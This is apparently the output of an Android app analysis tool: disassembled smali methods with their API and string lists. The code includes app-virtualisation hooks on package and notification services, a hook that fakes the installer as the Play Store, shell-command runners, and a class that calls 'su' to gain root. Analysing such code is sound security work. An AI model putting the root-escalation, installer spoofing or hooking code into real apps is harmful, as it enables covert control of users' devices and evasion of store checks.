                              • android.net.ConnectivityManager.getActiveNetworkInfo
                              • android.net.NetworkInfo.isConnectedOrConnecting
                              Strings
                              • android.permission.ACCESS_NETWORK_STATE
                              • connectivity
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2const-string v0, "android.permission.ACCESS_NETWORK_STATE"
                              4invoke-static {p0, v0}, Lb/a/at;->a(Landroid/content/Context;Ljava/lang/String;)Z
                              5move-result v0
                              6if-eqz v0, :cond_1e
                              8const-string v0, "connectivity"
                              10invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              11move-result-object v0
                              12check-cast v0, Landroid/net/ConnectivityManager;
                              13if-eqz v0, :cond_1e
                              15invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
                              16move-result-object v0
                              17if-eqz v0, :cond_1e
                              19invoke-virtual {v0}, Landroid/net/NetworkInfo;->isConnectedOrConnecting()Z
                              20try_end_1b: move-result v0
                              21goto_1c: return v0
                              22catch_1d: move-exception v0
                              23cond_1e: const/4 v0, 0x0
                              24goto/16 :goto_1c
                              APIs
                              • android.content.Context.getSystemService
                              • android.net.ConnectivityManager.getActiveNetworkInfo
                              • android.net.NetworkInfo.isAvailable
                              • android.net.NetworkInfo.getType
                              Strings
                              • connectivity
                              Position Instruction Meta Information
                              0.prologue
                              1if-eqz p0, :cond_1c
                              3const-string/jumbo v0, "connectivity"
                              5invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              6move-result-object v0
                              7check-cast v0, Landroid/net/ConnectivityManager;
                              9invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
                              10move-result-object v0
                              11if-eqz v0, :cond_1c
                              13invoke-virtual {v0}, Landroid/net/NetworkInfo;->isAvailable()Z
                              14move-result v1
                              15if-eqz v1, :cond_1c
                              17invoke-virtual {v0}, Landroid/net/NetworkInfo;->getType()I
                              18move-result v0
                              19goto_1b: return v0
                              20cond_1c: const/4 v0, -0x1
                              21goto/16 :goto_1b
                              APIs
                              • java.lang.reflect.Method.getName
                              • java.lang.String.equals
                              • java.lang.reflect.Method.invoke
                              Strings
                              • getInstallerPackageName
                              • com.android.vending
                              Position Instruction Meta Information
                              0.prologue
                              2const-string v0, "getInstallerPackageName"
                              4invoke-virtual {p2}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                              5move-result-object v1
                              7invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              8move-result v0
                              9if-eqz v0, :cond_f
                              11const-string v0, "com.android.vending"
                              12goto_e: return-object v0
                              13cond_f:
                              14iget-object v0, p0, Lcom/core/model/f$1;->a:Ljava/lang/Object;
                              16invoke-virtual {p2, v0, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              17move-result-object v0
                              18goto/16 :goto_e
                              Cross References
                              APIs
                              • java.io.File.listFiles
                              • java.util.Arrays.sort
                              • java.io.File.delete
                              • java.io.File.delete
                              • java.io.File.delete
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              3iget-object v1, p0, Lb/a/bb$a;->b:Ljava/io/File;
                              5iget-object v2, p0, Lb/a/bb$a;->c:Ljava/io/FilenameFilter;
                              7invoke-virtual {v1, v2}, Ljava/io/File;->listFiles(Ljava/io/FilenameFilter;)[Ljava/io/File;
                              8move-result-object v2
                              9if-eqz v2, :cond_29
                              10array-length v1, v2
                              11const/16 v3, 0xa
                              12if-lt v1, v3, :cond_29
                              14invoke-static {v2}, Ljava/util/Arrays;->sort([Ljava/lang/Object;)V
                              15array-length v1, v2
                              16add-int/lit8 v3, v1, -0xa
                              17new-instance v1, Lb/a/bb$a$1;
                              19invoke-direct {v1, p0, v3}, Lb/a/bb$a$1;-><init>(Lb/a/bb$a;I)V
                              21invoke-static {v1}, Lb/a/ax;->b(Ljava/lang/Runnable;)V
                              22move v1, v0
                              23goto_1f: if-ge v1, v3, :cond_29
                              24aget-object v4, v2, v1
                              26invoke-virtual {v4}, Ljava/io/File;->delete()Z
                              27add-int/lit8 v1, v1, 0x1
                              28goto/16 :goto_1f
                              29cond_29: if-eqz v2, :cond_54
                              30array-length v1, v2
                              31if-lez v1, :cond_54
                              33iget-object v1, p0, Lb/a/bb$a;->b:Ljava/io/File;
                              35invoke-interface {p1, v1}, Lb/a/bb$b;->a(Ljava/io/File;)V
                              36array-length v1, v2
                              37goto_34: if-ge v0, v1, :cond_4f
                              38try_start_36: aget-object v3, v2, v0
                              40invoke-interface {p1, v3}, Lb/a/bb$b;->b(Ljava/io/File;)Z
                              41try_end_3b: move-result v3
                              42if-eqz v3, :cond_43
                              43aget-object v3, v2, v0
                              45invoke-virtual {v3}, Ljava/io/File;->delete()Z
                              46goto_43: add-int/lit8 v0, v0, 0x1
                              47goto/16 :goto_34
                              48catch_46: move-exception v3
                              49aget-object v3, v2, v0
                              51invoke-virtual {v3}, Ljava/io/File;->delete()Z
                              52goto/16 :goto_43
                              53catchall_4d: move-exception v0
                              54throw v0
                              55cond_4f:
                              56iget-object v0, p0, Lb/a/bb$a;->b:Ljava/io/File;
                              58invoke-interface {p1, v0}, Lb/a/bb$b;->c(Ljava/io/File;)V
                              59cond_54: return-void
                              APIs
                              • java.lang.String.equals
                              • java.lang.reflect.Method.invoke
                              • java.lang.Integer.intValue
                              • java.lang.Integer.valueOf
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v6, 0x2
                              2const/4 v5, 0x1
                              4invoke-static {p3}, Lcom/lody/virtual/client/hook/utils/MethodParameterUtils;->replaceFirstAppPkg([Ljava/lang/Object;)Ljava/lang/String;
                              5move-result-object v2
                              7invoke-static {}, Lcom/lody/virtual/client/hook/proxies/notification/MethodProxies$CancelNotificationWithTag;->getHostPkg()Ljava/lang/String;
                              8move-result-object v0
                              10invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              11move-result v0
                              12if-eqz v0, :cond_15
                              14invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              15move-result-object v0
                              16goto_14: return-object v0
                              17cond_15: aget-object v0, p3, v5
                              18check-cast v0, Ljava/lang/String;
                              19aget-object v1, p3, v6
                              20check-cast v1, Ljava/lang/Integer;
                              22invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
                              23move-result v1
                              25invoke-static {}, Lcom/lody/virtual/client/ipc/VNotificationManager;->get()Lcom/lody/virtual/client/ipc/VNotificationManager;
                              26move-result-object v3
                              28invoke-static {}, Lcom/lody/virtual/client/hook/proxies/notification/MethodProxies$CancelNotificationWithTag;->getAppUserId()I
                              29move-result v4
                              31invoke-virtual {v3, v1, v2, v0, v4}, Lcom/lody/virtual/client/ipc/VNotificationManager;->dealNotificationId(ILjava/lang/String;Ljava/lang/String;I)I
                              32move-result v1
                              34invoke-static {}, Lcom/lody/virtual/client/ipc/VNotificationManager;->get()Lcom/lody/virtual/client/ipc/VNotificationManager;
                              35move-result-object v3
                              37invoke-static {}, Lcom/lody/virtual/client/hook/proxies/notification/MethodProxies$CancelNotificationWithTag;->getAppUserId()I
                              38move-result v4
                              40invoke-virtual {v3, v1, v2, v0, v4}, Lcom/lody/virtual/client/ipc/VNotificationManager;->dealNotificationTag(ILjava/lang/String;Ljava/lang/String;I)Ljava/lang/String;
                              41move-result-object v0
                              42aput-object v0, p3, v5
                              44invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              45move-result-object v0
                              46aput-object v0, p3, v6
                              48invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              49move-result-object v0
                              50goto/16 :goto_14
                              APIs
                              • android.content.ComponentName.getPackageName
                              • java.lang.String.equals
                              • java.lang.reflect.Method.invoke
                              • java.lang.Integer.intValue
                              • java.lang.reflect.Method.invoke
                              • android.content.pm.ActivityInfo.applicationInfo:Landroid/content/pm/ApplicationInfo
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2aget-object v0, p3, v0
                              3check-cast v0, Landroid/content/ComponentName;
                              5invoke-static {}, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$GetActivityInfo;->getHostPkg()Ljava/lang/String;
                              6move-result-object v1
                              8invoke-virtual {v0}, Landroid/content/ComponentName;->getPackageName()Ljava/lang/String;
                              9move-result-object v2
                              11invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              12move-result v1
                              13if-eqz v1, :cond_18
                              15invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              16move-result-object v0
                              17cond_17: return-object v0
                              18cond_18:
                              19invoke-static {}, Lcom/lody/virtual/os/VUserHandle;->myUserId()I
                              20move-result v2
                              21const/4 v1, 0x1
                              22aget-object v1, p3, v1
                              23check-cast v1, Ljava/lang/Integer;
                              25invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
                              26move-result v1
                              28invoke-static {}, Lcom/lody/virtual/client/ipc/VPackageManager;->get()Lcom/lody/virtual/client/ipc/VPackageManager;
                              29move-result-object v3
                              31invoke-virtual {v3, v0, v1, v2}, Lcom/lody/virtual/client/ipc/VPackageManager;->getActivityInfo(Landroid/content/ComponentName;II)Landroid/content/pm/ActivityInfo;
                              32move-result-object v0
                              33if-nez v0, :cond_17
                              35invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              36move-result-object v0
                              37check-cast v0, Landroid/content/pm/ActivityInfo;
                              38if-eqz v0, :cond_3f
                              40iget-object v1, v0, Landroid/content/pm/ActivityInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
                              42invoke-static {v1}, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$GetActivityInfo;->isVisiblePackage(Landroid/content/pm/ApplicationInfo;)Z
                              43move-result v1
                              44if-nez v1, :cond_17
                              45cond_3f: const/4 v0, 0x0
                              46goto/16 :goto_17
                              APIs
                              • java.lang.Integer.intValue
                              • android.content.ComponentName.getPackageName
                              • java.lang.String.equals
                              • java.lang.reflect.Method.invoke
                              • java.lang.reflect.Method.invoke
                              • android.content.pm.ProviderInfo.applicationInfo:Landroid/content/pm/ApplicationInfo
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2aget-object v0, p3, v0
                              3check-cast v0, Landroid/content/ComponentName;
                              4const/4 v1, 0x1
                              5aget-object v1, p3, v1
                              6check-cast v1, Ljava/lang/Integer;
                              8invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
                              9move-result v1
                              11invoke-static {}, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$GetProviderInfo;->getHostPkg()Ljava/lang/String;
                              12move-result-object v2
                              14invoke-virtual {v0}, Landroid/content/ComponentName;->getPackageName()Ljava/lang/String;
                              15move-result-object v3
                              17invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              18move-result v2
                              19if-eqz v2, :cond_21
                              21invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              22move-result-object v0
                              23goto_20: return-object v0
                              24cond_21:
                              25invoke-static {}, Lcom/lody/virtual/os/VUserHandle;->myUserId()I
                              26move-result v2
                              28invoke-static {}, Lcom/lody/virtual/client/ipc/VPackageManager;->get()Lcom/lody/virtual/client/ipc/VPackageManager;
                              29move-result-object v3
                              31invoke-virtual {v3, v0, v1, v2}, Lcom/lody/virtual/client/ipc/VPackageManager;->getProviderInfo(Landroid/content/ComponentName;II)Landroid/content/pm/ProviderInfo;
                              32move-result-object v0
                              33if-nez v0, :cond_20
                              35invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              36move-result-object v0
                              37check-cast v0, Landroid/content/pm/ProviderInfo;
                              38if-eqz v0, :cond_3f
                              40iget-object v1, v0, Landroid/content/pm/ProviderInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
                              42invoke-static {v1}, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$GetProviderInfo;->isVisiblePackage(Landroid/content/pm/ApplicationInfo;)Z
                              43move-result v1
                              44if-nez v1, :cond_20
                              45cond_3f: const/4 v0, 0x0
                              46goto/16 :goto_20
                              APIs
                              • android.content.ComponentName.getPackageName
                              • java.lang.String.equals
                              • java.lang.reflect.Method.invoke
                              • java.lang.Integer.intValue
                              • java.lang.reflect.Method.invoke
                              • android.content.pm.ActivityInfo.applicationInfo:Landroid/content/pm/ApplicationInfo
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v3, 0x0
                              2aget-object v0, p3, v3
                              3check-cast v0, Landroid/content/ComponentName;
                              5invoke-static {}, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$GetReceiverInfo;->getHostPkg()Ljava/lang/String;
                              6move-result-object v1
                              8invoke-virtual {v0}, Landroid/content/ComponentName;->getPackageName()Ljava/lang/String;
                              9move-result-object v2
                              11invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              12move-result v1
                              13if-eqz v1, :cond_18
                              15invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              16move-result-object v0
                              17cond_17: return-object v0
                              18cond_18: const/4 v1, 0x1
                              19aget-object v1, p3, v1
                              20check-cast v1, Ljava/lang/Integer;
                              22invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
                              23move-result v1
                              25invoke-static {}, Lcom/lody/virtual/client/ipc/VPackageManager;->get()Lcom/lody/virtual/client/ipc/VPackageManager;
                              26move-result-object v2
                              28invoke-virtual {v2, v0, v1, v3}, Lcom/lody/virtual/client/ipc/VPackageManager;->getReceiverInfo(Landroid/content/ComponentName;II)Landroid/content/pm/ActivityInfo;
                              29move-result-object v0
                              30if-nez v0, :cond_17
                              32invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              33move-result-object v0
                              34check-cast v0, Landroid/content/pm/ActivityInfo;
                              35if-eqz v0, :cond_3b
                              37iget-object v1, v0, Landroid/content/pm/ActivityInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
                              39invoke-static {v1}, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$GetReceiverInfo;->isVisiblePackage(Landroid/content/pm/ApplicationInfo;)Z
                              40move-result v1
                              41if-nez v1, :cond_17
                              42cond_3b: const/4 v0, 0x0
                              43goto/16 :goto_17
                              APIs
                              • java.lang.reflect.Method.invoke
                              • java.lang.Integer.intValue
                              • java.lang.Integer.intValue
                              • java.lang.Integer.intValue
                              • java.lang.Integer.valueOf
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v5, 0x0
                              2aget-object v0, p3, v5
                              3check-cast v0, Landroid/os/IBinder;
                              5invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              6move-result-object v1
                              8invoke-virtual {v1, v0}, Lcom/lody/virtual/client/ipc/VActivityManager;->isVAServiceToken(Landroid/os/IBinder;)Z
                              9move-result v1
                              10if-nez v1, :cond_14
                              12invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              13move-result-object v0
                              14goto_13: return-object v0
                              15cond_14: const/4 v1, 0x1
                              16aget-object v1, p3, v1
                              17check-cast v1, Ljava/lang/Integer;
                              19invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
                              20move-result v2
                              21const/4 v1, 0x2
                              22aget-object v1, p3, v1
                              23check-cast v1, Ljava/lang/Integer;
                              25invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
                              26move-result v3
                              27const/4 v1, 0x3
                              28aget-object v1, p3, v1
                              29check-cast v1, Ljava/lang/Integer;
                              31invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
                              32move-result v1
                              34invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              35move-result-object v4
                              37invoke-virtual {v4, v0, v2, v3, v1}, Lcom/lody/virtual/client/ipc/VActivityManager;->serviceDoneExecuting(Landroid/os/IBinder;III)V
                              39invoke-static {v5}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              40move-result-object v0
                              41goto/16 :goto_13
                              Cross References
                              APIs
                              • java.lang.Class.getMethod
                              • java.lang.reflect.Method.invoke
                              • java.lang.Object.getClass
                              • java.lang.Class.getMethod
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Ljava/lang/Object;",
                              4"Ljava/lang/String;",
                              5"[",
                              6"Ljava/lang/Class",
                              7"<*>;[",
                              8"Ljava/lang/Object;",
                              9")",
                              10"Ljava/lang/Object;"
                              11}
                              12.end annotation
                              13.prologue
                              14try_start_0: instance-of v0, p0, Ljava/lang/Class;
                              15if-eqz v0, :cond_10
                              16check-cast p0, Ljava/lang/Class;
                              18invoke-virtual {p0, p1, p2}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              19move-result-object v0
                              20const/4 v1, 0x0
                              22invoke-virtual {v0, v1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              23move-result-object v0
                              24goto_f: return-object v0
                              25cond_10:
                              26invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              27move-result-object v0
                              29invoke-virtual {v0, p1, p2}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              30move-result-object v0
                              32invoke-virtual {v0, p0, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              33try_end_1b: move-result-object v0
                              34goto/16 :goto_f
                              35catch_1d: move-exception v0
                              36throw v0
                              Cross References
                              APIs
                              • android.content.Context.getPackageManager
                              • android.content.pm.PackageManager.getInstalledApplications
                              • java.util.List.iterator
                              • java.util.Iterator.hasNext
                              • java.util.Iterator.next
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x0
                              3iget-object v0, p0, Lcom/omgSdk/outport/GetParamsUtil;->a:Landroid/content/Context;
                              5invoke-virtual {v0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                              6move-result-object v0
                              7const/16 v1, 0x2000
                              9invoke-virtual {v0, v1}, Landroid/content/pm/PackageManager;->getInstalledApplications(I)Ljava/util/List;
                              10move-result-object v0
                              12invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                              13move-result-object v3
                              14move v1, v2
                              15goto_12:
                              16invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
                              17move-result v0
                              18if-eqz v0, :cond_2d
                              20invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                              21move-result-object v0
                              22check-cast v0, Landroid/content/pm/ApplicationInfo;
                              23iget v0, v0, Landroid/content/pm/ApplicationInfo;->flags:I
                              24and-int/lit8 v0, v0, 0x2
                              25if-eqz v0, :cond_2b
                              26const/4 v0, 0x1
                              27goto_25: if-eqz v0, :cond_2e
                              28add-int/lit8 v0, v1, 0x1
                              29goto_29: move v1, v0
                              30goto/16 :goto_12
                              31cond_2b: move v0, v2
                              32goto/16 :goto_25
                              33cond_2d: return v1
                              34cond_2e: move v0, v1
                              35goto/16 :goto_29
                              Cross References
                              APIs
                              • java.lang.Object.getClass
                              • java.lang.Class.getDeclaredField
                              • java.lang.reflect.Field.setAccessible
                              • java.lang.reflect.Field.get
                              • java.lang.Object.getClass
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2if-nez p0, :cond_4
                              3cond_3: return-object v0
                              4try_start_4:
                              5invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              6move-result-object v1
                              8invoke-virtual {v1, p1}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                              9try_end_b: move-result-object v1
                              10goto_c: if-eqz v1, :cond_3
                              11const/4 v2, 0x1
                              12try_start_f:
                              13invoke-virtual {v1, v2}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                              15invoke-virtual {v1, p0}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              16move-result-object v0
                              17goto/16 :goto_3
                              18catch_17: move-exception v1
                              20invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              21move-result-object v1
                              23invoke-static {v1, p1}, Lcom/omg/event/utils/ReflacUtlis;->getSuperField(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/reflect/Field;
                              24try_end_1f: move-result-object v1
                              25goto/16 :goto_c
                              26catch_21: move-exception v1
                              28const-string v2, ""
                              30invoke-static {v2, v1}, Lcom/omg/event/utils/Logger;->e(Ljava/lang/String;Ljava/lang/Exception;)V
                              31goto/16 :goto_3
                              Cross References
                              APIs
                              • java.lang.Throwable.printStackTrace
                              • android.os.Process.myPid
                              • android.os.Process.killProcess
                              • java.lang.System.exit
                              • com.lody.virtual.client.env.DeadServerException.<init>
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"<T:",
                              3"Ljava/lang/Object;",
                              4">(",
                              5"Ljava/lang/Throwable;",
                              6")TT;"
                              7}
                              8.end annotation
                              9.prologue
                              11invoke-virtual {p0}, Ljava/lang/Throwable;->printStackTrace()V
                              13invoke-static {}, Lcom/lody/virtual/client/core/VirtualCore;->get()Lcom/lody/virtual/client/core/VirtualCore;
                              14move-result-object v0
                              16invoke-virtual {v0}, Lcom/lody/virtual/client/core/VirtualCore;->isVAppProcess()Z
                              17move-result v0
                              18if-eqz v0, :cond_18
                              20invoke-static {}, Landroid/os/Process;->myPid()I
                              21move-result v0
                              23invoke-static {v0}, Landroid/os/Process;->killProcess(I)V
                              24const/4 v0, 0x0
                              26invoke-static {v0}, Ljava/lang/System;->exit(I)V
                              27cond_18: new-instance v0, Lcom/lody/virtual/client/env/DeadServerException;
                              29invoke-direct {v0, p0}, Lcom/lody/virtual/client/env/DeadServerException;-><init>(Ljava/lang/Throwable;)V
                              30throw v0
                              Cross References
                              APIs
                              • java.lang.Object.getClass
                              • java.lang.Class.getDeclaredField
                              • java.lang.reflect.Field.setAccessible
                              • java.lang.reflect.Field.get
                              • java.lang.Exception.printStackTrace
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"<T:",
                              3"Ljava/lang/Object;",
                              4">(",
                              5"Ljava/lang/Object;",
                              6"Ljava/lang/String;",
                              7")TT;"
                              8}
                              9.end annotation
                              10.prologue
                              11const/4 v0, 0x0
                              12try_start_1:
                              13invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              14move-result-object v1
                              16invoke-virtual {v1, p1}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                              17move-result-object v1
                              18if-nez v1, :cond_c
                              19goto_b: return-object v0
                              20cond_c: const/4 v2, 0x1
                              22invoke-virtual {v1, v2}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                              24invoke-virtual {v1, p0}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              25try_end_13: move-result-object v0
                              26goto/16 :goto_b
                              27catch_15: move-exception v1
                              29invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
                              30goto/16 :goto_b
                              APIs
                              • java.lang.Runtime.getRuntime
                              • java.lang.Runtime.exec
                              • java.lang.Process.waitFor
                              • java.lang.Process.getInputStream
                              • java.lang.Exception.printStackTrace
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2try_start_1:
                              3invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
                              4move-result-object v1
                              5const/4 v2, 0x0
                              7invoke-virtual {v1, p1, v2, p2}, Ljava/lang/Runtime;->exec([Ljava/lang/String;[Ljava/lang/String;Ljava/io/File;)Ljava/lang/Process;
                              8move-result-object v1
                              10invoke-virtual {v1}, Ljava/lang/Process;->waitFor()I
                              12invoke-virtual {v1}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
                              13move-result-object v1
                              15invoke-static {v1}, Lcom/omg/event/utils/CmdInvoke;->reads(Ljava/io/InputStream;)[Ljava/lang/String;
                              16try_end_14: move-result-object v0
                              17goto_15: return-object v0
                              18catch_16: move-exception v1
                              20invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
                              21goto/16 :goto_15
                              APIs
                              • java.lang.Runtime.getRuntime
                              • java.lang.Runtime.exec
                              • java.lang.Process.waitFor
                              • java.lang.Process.getInputStream
                              • java.lang.Exception.printStackTrace
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
                              3move-result-object v0
                              5invoke-virtual {v0, p1}, Ljava/lang/Runtime;->exec([Ljava/lang/String;)Ljava/lang/Process;
                              6move-result-object v0
                              8invoke-virtual {v0}, Ljava/lang/Process;->waitFor()I
                              10invoke-virtual {v0}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
                              11move-result-object v0
                              13invoke-static {v0}, Lcom/omg/event/utils/CmdInvoke;->readString(Ljava/io/InputStream;)Ljava/lang/String;
                              14try_end_12: move-result-object v0
                              15goto_13: return-object v0
                              16catch_14: move-exception v0
                              18invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              19const/4 v0, 0x0
                              20goto/16 :goto_13
                              APIs
                              • java.lang.reflect.Method.getName
                              • java.lang.String.equals
                              • java.lang.reflect.Method.invoke
                              Strings
                              • bindService
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              3const-string v0, "bindService"
                              5invoke-virtual {p2}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                              6move-result-object v2
                              8invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              9move-result v0
                              10if-eqz v0, :cond_39
                              11array-length v4, p3
                              12const/4 v0, 0x0
                              13move v3, v0
                              14move-object v2, v1
                              15goto_11: if-ge v3, v4, :cond_2c
                              16aget-object v0, p3, v3
                              17instance-of v5, v0, Landroid/content/Intent;
                              18if-eqz v5, :cond_24
                              19check-cast v0, Landroid/content/Intent;
                              20move-object v6, v1
                              21move-object v1, v0
                              22move-object v0, v6
                              23goto_1e: add-int/lit8 v2, v3, 0x1
                              24move v3, v2
                              25move-object v2, v1
                              26move-object v1, v0
                              27goto/16 :goto_11
                              28cond_24: instance-of v5, v0, Landroid/app/IServiceConnection;
                              29if-eqz v5, :cond_40
                              30check-cast v0, Landroid/app/IServiceConnection;
                              31move-object v1, v2
                              32goto/16 :goto_1e
                              33cond_2c:
                              34iget-object v0, p0, Lcom/core/model/e$2;->a:Lcom/core/model/e$a;
                              35if-eqz v0, :cond_39
                              36if-eqz v2, :cond_39
                              37if-eqz v1, :cond_39
                              39iget-object v0, p0, Lcom/core/model/e$2;->a:Lcom/core/model/e$a;
                              41invoke-interface {v0, v2, v1}, Lcom/core/model/e$a;->a(Landroid/content/Intent;Landroid/app/IServiceConnection;)V
                              42cond_39:
                              43iget-object v0, p0, Lcom/core/model/e$2;->b:Ljava/lang/Object;
                              45invoke-virtual {p2, v0, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              46move-result-object v0
                              47return-object v0
                              48cond_40: move-object v0, v1
                              49move-object v1, v2
                              50goto/16 :goto_1e
                              Cross References
                              APIs
                              • java.lang.Exception.printStackTrace
                              Strings
                              • su
                              • /system/xbin/su
                              • /system/bin/su
                              Position Instruction Meta Information
                              0.prologue
                              2sget-object v0, Lcom/omg/event/utils/RootContext;->instance:Lcom/omg/event/utils/RootContext;
                              3if-eqz v0, :cond_7
                              5sget-object v0, Lcom/omg/event/utils/RootContext;->instance:Lcom/omg/event/utils/RootContext;
                              6goto_6: return-object v0
                              7cond_7:
                              8sget-object v1, Lcom/omg/event/utils/RootContext;->mLock:Ljava/lang/Object;
                              9monitor-enter v1
                              10try_start_a: new-instance v0, Lcom/omg/event/utils/RootContext;
                              12const-string v2, "su"
                              14invoke-direct {v0, v2}, Lcom/omg/event/utils/RootContext;-><init>(Ljava/lang/String;)V
                              15sput-object v0, Lcom/omg/event/utils/RootContext;->instance:Lcom/omg/event/utils/RootContext;
                              16try_end_13:
                              17sget-object v0, Lcom/omg/event/utils/RootContext;->instance:Lcom/omg/event/utils/RootContext;
                              18monitor-exit v1
                              19goto/16 :goto_6
                              20catchall_17: move-exception v0
                              21monitor-exit v1
                              22try_end_19: throw v0
                              23try_start_1a: new-instance v0, Lcom/omg/event/utils/RootContext;
